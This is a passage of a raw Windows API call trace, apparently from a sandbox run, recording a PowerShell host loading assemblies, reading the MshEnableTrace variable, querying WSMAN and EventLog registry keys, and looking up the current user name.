lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.177] GetLastError () returned 0x57 [0058.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.177] GetLastError () returned 0x57 [0058.179] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.179] GetLastError () returned 0x57 [0058.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0058.180] GetLastError () returned 0x57 [0058.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.181] GetLastError () returned 0x57 [0058.181] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25e170, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.181] GetLastError () returned 0x57 [0058.185] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.185] GetLastError () returned 0xcb [0058.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.186] GetLastError () returned 0xcb [0058.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.195] GetLastError () returned 0xcb [0058.198] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.198] GetLastError () returned 0xcb [0058.199] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.199] GetLastError () returned 0xcb [0058.202] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e51c | out: phkResult=0x25e51c*=0x32c) returned 0x0 [0058.203] RegQueryInfoKeyW (in: hKey=0x32c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e56c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e570, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e56c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e570*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.205] RegEnumValueW (in: hKey=0x32c, dwIndex=0x0, lpValueName=0x391da8, lpcchValueName=0x25e594, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x25e594, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0058.205] RegEnumValueW (in: hKey=0x32c, dwIndex=0x1, lpValueName=0x391da8, lpcchValueName=0x25e594, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x25e594, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0058.205] RegQueryValueExW (in: hKey=0x32c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x25e574, lpData=0x0, lpcbData=0x25e570*=0x0 | out: lpType=0x25e574*=0x1, lpData=0x0, lpcbData=0x25e570*=0x8) returned 0x0 [0058.205] RegQueryValueExW (in: hKey=0x32c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x25e574, lpData=0x391da8, lpcbData=0x25e570*=0x8 | out: lpType=0x25e574*=0x1, lpData="2.0", lpcbData=0x25e570*=0x8) returned 0x0 [0058.276] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4d8 | out: phkResult=0x25e4d8*=0x330) returned 0x0 [0058.276] RegQueryInfoKeyW (in: hKey=0x330, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e528, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e52c, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e528*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e52c*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.276] RegEnumValueW (in: hKey=0x330, dwIndex=0x0, lpValueName=0x391da8, lpcchValueName=0x25e550, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x25e550, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0058.276] RegEnumValueW (in: hKey=0x330, dwIndex=0x1, lpValueName=0x391da8, lpcchValueName=0x25e550, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x25e550, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0058.276] RegQueryValueExW (in: hKey=0x330, lpValueName="StackVersion", lpReserved=0x0, lpType=0x25e530, lpData=0x0, lpcbData=0x25e52c*=0x0 | out: lpType=0x25e530*=0x1, lpData=0x0, lpcbData=0x25e52c*=0x8) returned 0x0 [0058.276] RegQueryValueExW (in: hKey=0x330, lpValueName="StackVersion", lpReserved=0x0, lpType=0x25e530, lpData=0x391da8, lpcbData=0x25e52c*=0x8 | out: lpType=0x25e530*=0x1, lpData="2.0", lpcbData=0x25e52c*=0x8) returned 0x0 [0058.277] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.277] GetLastError () returned 0xcb [0058.280] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.280] GetLastError () returned 0xcb [0058.289] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e498 | out: phkResult=0x25e498*=0x334) returned 0x0 [0058.290] RegQueryInfoKeyW (in: hKey=0x334, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e500, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4fc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e500*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4fc*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.290] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x0, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x1, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x2, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x3, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x4, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x5, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.291] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x6, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.292] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x7, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.292] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x8, lpName=0x391da8, lpcchName=0x25e51c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x25e51c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.292] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x350) returned 0x0 [0058.292] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.292] RegOpenKeyExW (in: hKey=0x334, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x360) returned 0x0 [0058.292] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.293] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x364) returned 0x0 [0058.293] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.293] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x368) returned 0x0 [0058.293] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.294] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x36c) returned 0x0 [0058.294] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.294] RegOpenKeyExW (in: hKey=0x334, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x370) returned 0x0 [0058.294] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.294] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x374) returned 0x0 [0058.294] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.294] RegOpenKeyExW (in: hKey=0x334, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x378) returned 0x0 [0058.295] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x0) returned 0x2 [0058.295] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x37c) returned 0x0 [0058.295] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4c8 | out: phkResult=0x25e4c8*=0x380) returned 0x0 [0058.295] RegCloseKey (hKey=0x380) returned 0x0 [0058.295] RegCloseKey (hKey=0x334) returned 0x0 [0058.296] RegCloseKey (hKey=0x37c) returned 0x0 [0058.314] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.315] GetLastError () returned 0x3 [0058.316] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e47c | out: phkResult=0x25e47c*=0x334) returned 0x0 [0058.354] RegQueryInfoKeyW (in: hKey=0x334, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e4e4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4e0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e4e4*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4e0*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.354] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x0, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.354] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x1, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.354] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x2, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.354] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x3, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x4, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x5, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x6, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x7, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegEnumKeyExW (in: hKey=0x334, dwIndex=0x8, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.355] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x380) returned 0x0 [0058.356] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.356] RegOpenKeyExW (in: hKey=0x334, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x384) returned 0x0 [0058.356] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.356] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x388) returned 0x0 [0058.356] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.357] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x38c) returned 0x0 [0058.357] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.357] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x390) returned 0x0 [0058.357] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.357] RegOpenKeyExW (in: hKey=0x334, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x394) returned 0x0 [0058.357] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.358] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x398) returned 0x0 [0058.358] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.358] RegOpenKeyExW (in: hKey=0x334, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x39c) returned 0x0 [0058.358] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.358] RegOpenKeyExW (in: hKey=0x334, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3a0) returned 0x0 [0058.358] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3a4) returned 0x0 [0058.359] RegCloseKey (hKey=0x3a4) returned 0x0 [0058.359] RegCloseKey (hKey=0x334) returned 0x0 [0058.359] RegCloseKey (hKey=0x3a0) returned 0x0 [0058.359] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e47c | out: phkResult=0x25e47c*=0x3a0) returned 0x0 [0058.359] RegQueryInfoKeyW (in: hKey=0x3a0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x25e4e4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4e0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x25e4e4*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x25e4e0*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.359] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x0, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.359] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x1, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x2, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x3, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x4, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x5, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x6, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x7, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.360] RegEnumKeyExW (in: hKey=0x3a0, dwIndex=0x8, lpName=0x391da8, lpcchName=0x25e500, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x25e500, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0058.361] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x334) returned 0x0 [0058.361] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.361] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x3a4) returned 0x0 [0058.361] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e4ac | out: phkResult=0x25e4ac*=0x0) returned 0x2 [0058.361] RegOpenKeyExW (in: 